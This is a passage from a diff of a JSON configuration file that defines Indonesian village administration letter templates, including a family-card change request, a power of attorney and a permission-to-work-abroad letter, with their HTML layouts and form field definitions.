      \u00a0 \u00a0 \u00a0 Yang bertanda tangan di bawah ini [Jabatan] [Nama_desa], Kecamatan [Nama_kecamatan], [Sebutan_kabupaten] [Nama_kabupaten], Provinsi [Nama_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      1.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
      2.<\/td>\r\nTempat\/tanggal lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
      3.<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[UsIa]<\/td>\r\n<\/tr>\r\n
      4.<\/td>\r\nWarga negara<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
      5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
      6.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[JeNis_kelamin]<\/td>\r\n<\/tr>\r\n
      7.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan]<\/td>\r\n<\/tr>\r\n
      8.<\/td>\r\nTempat tinggal<\/td>\r\n:<\/td>\r\n[AlamaT] [Sebutan_desa] [Nama_desa], Kecamatan [Nama_kecamatan], [Sebutan_kabupaten] [Nama_kabupaten]<\/td>\r\n<\/tr>\r\n
      9.<\/td>\r\nSurat bukti diri<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nKTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nKK<\/td>\r\n:<\/td>\r\n[No_kk]<\/td>\r\n<\/tr>\r\n
      10.<\/td>\r\nKeperluan<\/td>\r\n:<\/td>\r\nPermohonan Perubahan Kartu Keluarga WNI.<\/td>\r\n<\/tr>\r\n
      11.<\/td>\r\nKeterangan lain-lain<\/td>\r\n:<\/td>\r\nOrang tersebut di atas adalah benar benar penduduk desa kami dan adat istiadat baik.<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

      \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0<\/p>\r\n

      Demikian surat ini dibuat, untuk dipergunakan sebagaimana mestinya.

      <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
      Pemegang Surat<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n



      <\/td>\r\n
      \u00a0<\/td>\r\n<\/tr>\r\n
      [NAma]<\/strong><\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nNo<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nTanggal<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nMengetahui,<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nCamat - [NaMa_kecamatan]<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      [qr_code]<\/td>\r\n


      <\/td>\r\n
      \u00a0<\/td>\r\n<\/tr>\r\n
      ..............................................<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
      \u00a0<\/div>", + "template_desa": null, + "form_isian": { + "individu": { + "sumber": 1, + "data": [ + "1" + ], + "sex": "", + "status_dasar": [ + "1" + ], + "kk_level": [ + 1 + ], + "data_orang_tua": "0", + "data_pasangan": "0", + "judul": "Utama", + "label": "Keterangan Pemohon", + "hubungan": null + } + }, + "kode_isian": [ { - "kategori": "kawin", - "tipe": "text", - "kode": "[form_no_akta_lahir_anak_ke_lima]", - "nama": "No Akta Lahir Anak Ke Lima", - "deskripsi": "No Akta Lahir Anak Ke Lima", - "required": "0", + "tipe": "select-manual", + "kode": "[form_alasan_permohonan]", + "nama": "Alasan Permohonan", + "deskripsi": "Pilih Alasan Permohonan", + "required": "1", "atribut": null, - "pilihan": null, + "pilihan": [ + "Karena Penambahan Anggota Keluarga (Kelahiran, Kedatangan)", + "Karena Pengurangan Anggota Keluarga (Kematian, Kepindahan)", + "Lainnya" + ], "refrensi": null, - "kolom": "9", - "label": "No, Tgl. Akta Kelahiran", - "kaitkan_kode": "" + "kolom": "", + "label": "Alasan Permohonan", + "kaitkan_kode": "[{\"nilai_isian\":[\"Lainnya\"],\"kode_isian_terkait\":[\"Alasan Lainnya\"]}]" }, { - "kategori": "kawin", - "tipe": "date", - "kode": "[form_tanggal_lahir_anak_ke_lima]", - "nama": "Tanggal Lahir Anak Ke Lima", - "deskripsi": "Tanggal Lahir Anak Ke Lima", + "tipe": "textarea", + "kode": "[form_alasan_lainnya]", + "nama": "Alasan Lainnya", + "deskripsi": "Alasan Lainnya", "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "3", - "label": "No, Tgl. Akta Kelahiran", + "kolom": "", + "label": "Alasan Lainnya", "kaitkan_kode": "" + } + ], + "orientasi": "Potrait", + "ukuran": "F4", + "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", + "margin_global": "0", + "footer": "1", + "header": 1, + "format_nomor": null, + "sumber_penduduk_berulang": "0" + }, + { + "nama": "Kuasa", + "url_surat": "surat-kuasa", + "kode_surat": "S-47", + "lampiran": null, + "kunci": false, + "favorit": false, + "jenis": "3", + "mandiri": false, + "masa_berlaku": 1, + "satuan_masa_berlaku": "d", + "qr_code": false, + "logo_garuda": false, + "kecamatan": "0", + "syarat_surat": null, + "template": "

      [JUdul_surat]<\/span><\/h4>\r\n

      Nomor : [Format_nomor_suraT]

      <\/p>\r\n

      Yang bertanda tangan di bawah ini :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n1.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n2.<\/td>\r\nNIK<\/td>\r\n:<\/td>\r\n[NiK]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n3..<\/td>\r\nTempat\/tanggal lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n4.<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[UsiA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n5.<\/td>\r\nWarga Negara<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n6.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamiN]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n7.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PekerjaaN]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n8.

      <\/td>\r\n
      Tempat Tinggal

      <\/td>\r\n
      :

      <\/td>\r\n
      [AlamaT] [Sebutan_desA] [Nama_desA], [Sebutan_kecamataN] [Nama_kecamataN], [Sebutan_kabupateN] [Nama_kabupateN]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

      Dengan ini memberi kuasa penuh kepada :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n1.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[NAma_penerima_kuasa]<\/strong><\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n2.<\/td>\r\nNIK<\/td>\r\n:<\/td>\r\n[Nik_penerima_kuasA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n3.<\/td>\r\nTempat\/tanggal lahir<\/td>\r\n:<\/td>\r\n[Tempat_tgl_lahir_penerima_kuasA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n4.<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[Usia_penerima_kuasA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n5.<\/td>\r\nWarga Negara<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n6.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin_penerima_kuasA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n7.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_penerima_kuasA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n8.<\/td>\r\nTempat tinggal<\/td>\r\n:<\/td>\r\n[Alamat_penerima_kuasA] [Sebutan_desA] [Nama_desA], [Sebutan_kecamataN] [Nama_kecamataN], [Sebutan_kabupateN] [Nama_kabupateN]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      Untuk keperluan<\/td>\r\n:<\/td>\r\n[Form_untuk_keperluaN]<\/td>\r\n<\/tr>\r\n
      \r\n

      Demikianlah surat kuasa ini saya buat, agar dapat digunakan sebagaimana mestinya.<\/p>\r\n<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
      Yang Menerima Kuasa<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\nYang Memberi Kuasa<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n
      \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      Materai<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      ( [NAma_penerima_kuasa]<\/span> )<\/strong><\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n( [NAma]<\/span> )<\/strong><\/td>\r\n<\/tr>\r\n
      <\/strong><\/td>\r\nMengetahui<\/td>\r\n <\/strong><\/td>\r\n<\/tr>\r\n
      <\/strong><\/td>\r\n[Sebutan_kepala_desA] [Nama_desA]<\/td>\r\n <\/strong><\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n[NAma_pamong]<\/strong><\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n


      <\/div>", + "template_desa": null, + "form_isian": { + "individu": { + "sumber": 1, + "data": [ + "1" + ], + "sex": "", + "status_dasar": [ + "1" + ], + "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "data_orang_tua": "0", + "data_pasangan": "0", + "judul": "Pemberi Kuasa", + "label": "Pemberi Kuasa", + "hubungan": null }, + "Penerima_Kuasa": { + "sumber": "1", + "data": [ + "1", + "3" + ], + "sex": "", + "status_dasar": [ + "1", + "2", + "3", + "4", + "5", + "6", + "7", + "8", + "9" + ], + "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "judul": "Penerima Kuasa", + "label": "Penerima Kuasa", + "hubungan": "" + } + }, + "kode_isian": [ { - "kategori": "kawin", "tipe": "text", - "kode": "[form_no_akta_lahir_anak_ke_enam]", - "nama": "No Akta Lahir Anak Ke Enam", - "deskripsi": "No Akta Lahir Anak Ke Enam", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "9", - "label": "No, Tgl. Akta Kelahiran", - "kaitkan_kode": "" - }, - { - "kategori": "kawin", - "tipe": "date", - "kode": "[form_tanggal_lahir_anak_ke_enam]", - "nama": "Tanggal Lahir Anak Ke Enam", - "deskripsi": "Tanggal Lahir Anak Ke Enam", - "required": "0", + "kode": "[form_untuk_keperluan]", + "nama": "Untuk \/ Keperluan", + "deskripsi": "Untuk \/ Keperluan", + "required": "1", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "3", - "label": "No, Tgl. Akta Kelahiran", + "kolom": "", + "label": "", "kaitkan_kode": "" } ], @@ -3024,7 +3094,8 @@ "logo_garuda": false, "kecamatan": "0", "syarat_surat": null, - "template": "

      [JUdul_surat]<\/span><\/h4>\r\n

      Nomor : [Format_nomor_suraT]

      <\/p>\r\n

      Yang bertanda tangan \/ cap jempol di bawah ini :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n2.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n3..<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n4.<\/td>\r\nWarga Negara<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n5.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n6.

      <\/td>\r\n
      Alamat \/ Tempat Tinggal

      <\/td>\r\n
      :

      <\/td>\r\n
      [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

      Saya selaku sebagai [Form_memberi_izin_selakU] dengan ini secara tulus dan ikhlas mengizinkan serta menyetujui [Form_hubungan_dengan_penerima_iziN] saya di bawah ini :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[Nama_penerima_iziN]<\/strong><\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n2.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[Ttl_penerima_iziN]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n3.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[Agama_penerima_iziN]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n4.<\/td>\r\nWarga Negara<\/td>\r\n:<\/td>\r\n[Warga_negara_penerima_iziN]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n5.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_penerima_iziN]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n6.<\/td>\r\nAlamat \/ Tempat Tinggal<\/td>\r\n:<\/td>\r\n[Alamat_penerima_iziN] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

      Untuk melamar pekerjaan \/ bekerja ke [Form_negara_tujuaN], melalui [Form_nama_pptkiS] sebagai [Form_status_pekerjaan_tki_tkW] dengan masa kontrak [Form_masa_kontrak_tahuN] tahun.<\/p>\r\n

      Segala akibat yang timbul di kemudian hari dari perbuatan dan penggunaan surat izin ini sepenuhnya menjadi tanggung jawab saya baik secara hukum ataupun secara moril tanpa melibatkan pihak lainnya.<\/p>\r\n

      Segala akibat yang timbul di kemudian hari dari pembuatan dan penggunaan surat izin ini sepenuhnya menjadi tanggung jawab saya baik secara hukum ataupun secara moril dan materi tanpa melibatkan pihak lainnya.<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
      Yang Diberi Izin,<\/strong><\/td>\r\n\u00a0<\/td>\r\nYang Memberi Izin,<\/strong><\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n



      <\/td>\r\n
      \u00a0<\/td>\r\n<\/tr>\r\n
      [Nama_penerima_iziN]<\/strong><\/td>\r\n\u00a0<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
      \u00a0<\/div>\r\n
      \r\n<\/colgroup>\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      Mengetahui,<\/td>\r\n<\/tr>\r\n
      [Atas_namA]<\/td>\r\n<\/tr>\r\n




      <\/td>\r\n<\/tr>\r\n
      [Nama_pamonG]<\/strong><\/td>\r\n<\/tr>\r\n
      [SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
      [qr_code]<\/div>", + "template": "

      [JUdul_surat]<\/span><\/h4>\r\n

      Nomor : [Format_nomor_suraT]

      <\/p>\r\n

      Yang bertanda tangan \/ cap jempol di bawah ini :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n2.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n3..<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n4.<\/td>\r\nWarga Negara<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n5.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n6.

      <\/td>\r\n
      Alamat \/ Tempat Tinggal

      <\/td>\r\n
      :

      <\/td>\r\n
      [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

      Saya selaku sebagai [Form_memberi_izin_selakU] dengan ini secara tulus dan ikhlas mengizinkan serta menyetujui [Form_hubungan_dengan_pemberi_iziN] saya di bawah ini :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[Nama_penerima_iziN]<\/strong><\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n2.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[Ttl_penerima_iziN]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n3.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[Agama_penerima_iziN]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n4.<\/td>\r\nWarga Negara<\/td>\r\n:<\/td>\r\n[Warga_negara_penerima_iziN]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n5.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_penerima_iziN]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n6.<\/td>\r\nAlamat \/ Tempat Tinggal<\/td>\r\n:<\/td>\r\n[Alamat_penerima_iziN] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

      Untuk melamar pekerjaan \/ bekerja ke [Form_negara_tujuaN], melalui [Form_nama_pptkiS] sebagai [Form_status_pekerjaan_tki_tkW] dengan masa kontrak [Form_masa_kontrak_tahuN] tahun.<\/p>\r\n

      Segala akibat yang timbul di kemudian hari dari perbuatan dan penggunaan surat izin ini sepenuhnya menjadi tanggung jawab saya baik secara hukum ataupun secara moril tanpa melibatkan pihak lainnya.<\/p>\r\n

      Segala akibat yang timbul di kemudian hari dari pembuatan dan penggunaan surat izin ini sepenuhnya menjadi tanggung jawab saya baik secara hukum ataupun secara moril dan materi tanpa melibatkan pihak lainnya.<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
      Yang Diberi Izin,<\/strong><\/td>\r\n\u00a0<\/td>\r\nYang Memberi Izin,<\/strong><\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n



      <\/td>\r\n
      \u00a0<\/td>\r\n<\/tr>\r\n
      [Nama_penerima_iziN]<\/strong><\/td>\r\n\u00a0<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
      \u00a0<\/div>\r\n
      \r\n<\/colgroup>\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      Mengetahui,<\/td>\r\n<\/tr>\r\n
      [Atas_namA]<\/td>\r\n<\/tr>\r\n




      <\/td>\r\n<\/tr>\r\n
      [Nama_pamonG]<\/strong><\/td>\r\n<\/tr>\r\n
      [SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
      [qr_code]<\/div>", + "template_desa": null, "form_isian": { "individu": { "sumber": 1, @@ -3058,17 +3129,21 @@ "judul": "Pemberi Izin", "label": "PIHAK YANG MEMBERI IZIN", "info": "", - "sebagai": 1, "hubungan": null }, "Penerima_Izin": { - "sumber": 1, + "sumber": "1", "data": [ "1" ], "sex": "", "status_dasar": [ - "1" + "1", + "2", + "3", + "4", + "6", + "9" ], "kk_level": [ "1", @@ -3086,7 +3161,6 @@ "judul": "Penerima Izin", "label": "PIHAK YANG DIBERI IZIN", "info": "", - "sebagai": 0, "hubungan": "individu" } }, @@ -3188,34 +3262,39 @@ "sumber_penduduk_berulang": "0" }, { - "nama": "Kuasa", - "url_surat": "surat-kuasa", - "kode_surat": "S-47", - "lampiran": null, + "nama": "Keterangan Untuk Nikah Warga Non Muslim", + "url_surat": "surat-keterangan-untuk-nikah-warga-non-muslim", + "kode_surat": "S-50", + "lampiran": "F-2.12", "kunci": false, "favorit": false, "jenis": "3", "mandiri": false, "masa_berlaku": 1, - "satuan_masa_berlaku": "d", + "satuan_masa_berlaku": "M", "qr_code": false, "logo_garuda": false, "kecamatan": "0", - "syarat_surat": "null", - "template": "

      [JUdul_surat]<\/span><\/h4>\r\n

      Nomor : [Format_nomor_suraT]

      <\/p>\r\n

      Yang bertanda tangan di bawah ini :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n1.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n2.<\/td>\r\nNIK<\/td>\r\n:<\/td>\r\n[NiK]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n3..<\/td>\r\nTempat\/tanggal lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n4.<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[UsiA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n5.<\/td>\r\nWarga Negara<\/td>\r\n:<\/td>\r\n[Warga_negarA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n6.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamiN]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n7.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PekerjaaN]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n8.

      <\/td>\r\n
      Tempat Tinggal

      <\/td>\r\n
      :

      <\/td>\r\n
      [AlamaT] [Sebutan_desA] [Nama_desA], [Sebutan_kecamataN] [Nama_kecamataN], [Sebutan_kabupateN] [Nama_kabupateN]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

      Dengan ini memberi kuasa penuh kepada :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n1.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[NAma_penerima_kuasa]<\/strong><\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n2.<\/td>\r\nNIK<\/td>\r\n:<\/td>\r\n[Nik_penerima_kuasA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n3.<\/td>\r\nTempat\/tanggal lahir<\/td>\r\n:<\/td>\r\n[Tempat_tgl_lahir_penerima_kuasA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n4.<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[Usia_penerima_kuasA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n5.<\/td>\r\nWarga Negara<\/td>\r\n:<\/td>\r\n[Warga_negarA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n6.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin_penerima_kuasA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n7.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_penerima_kuasA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n8.<\/td>\r\nTempat tinggal<\/td>\r\n:<\/td>\r\n[Alamat_penerima_kuasA] [Sebutan_desA] [Nama_desA], [Sebutan_kecamataN] [Nama_kecamataN], [Sebutan_kabupateN] [Nama_kabupateN]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      Untuk keperluan<\/td>\r\n:<\/td>\r\n[Form_untuk_keperluaN]<\/td>\r\n<\/tr>\r\n
      \r\n

      Demikianlah surat kuasa ini saya buat, agar dapat digunakan sebagaimana mestinya.<\/p>\r\n<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
      Yang Menerima Kuasa<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\nYang Memberi Kuasa<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n
      \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      Materai<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      ( [NAma_penerima_kuasa]<\/span> )<\/strong><\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n( [NAma]<\/span> )<\/strong><\/td>\r\n<\/tr>\r\n
      <\/strong><\/td>\r\nMengetahui<\/td>\r\n <\/strong><\/td>\r\n<\/tr>\r\n
      <\/strong><\/td>\r\n[Sebutan_kepala_desA] [Nama_desA]<\/td>\r\n <\/strong><\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n[NAma_pamong]<\/strong><\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n


      <\/div>", + "syarat_surat": null, + "template": "

      [JUdul_surat]<\/span><\/h4>\r\n

      Nomor : [Format_nomor_suraT]

      <\/p>\r\n

